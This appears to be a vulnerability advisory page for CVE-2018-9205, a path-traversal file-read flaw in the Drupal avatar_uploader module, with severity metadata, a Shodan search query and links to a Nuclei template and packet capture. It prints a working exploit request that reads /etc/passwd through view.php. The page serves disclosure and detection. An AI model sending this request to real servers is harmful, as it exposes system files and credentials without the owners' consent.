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CVE-2018-9205: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion

TitleDrupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactUnauthenticated attackers can read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and user data.
RemediationUpgrade to the latest version of avatar_uploader.
CVSS Score7.5
EPSS Score0.81446
CVE IDCVE-2018-9205
CWE IDCWE-22
Shodan Queryhttp.component:"drupal"
Tags cve cve2018 lfi drupal edb vkev vuln

🔍 Vulnerability Description

In avatar_uploader v7.x-1.0-beta8 the view.php program doesn’t restrict file paths, allowing unauthenticated users to retrieve arbitrary files.

🌐 HTTP Request

GET /sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_3_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9205.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-9205.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A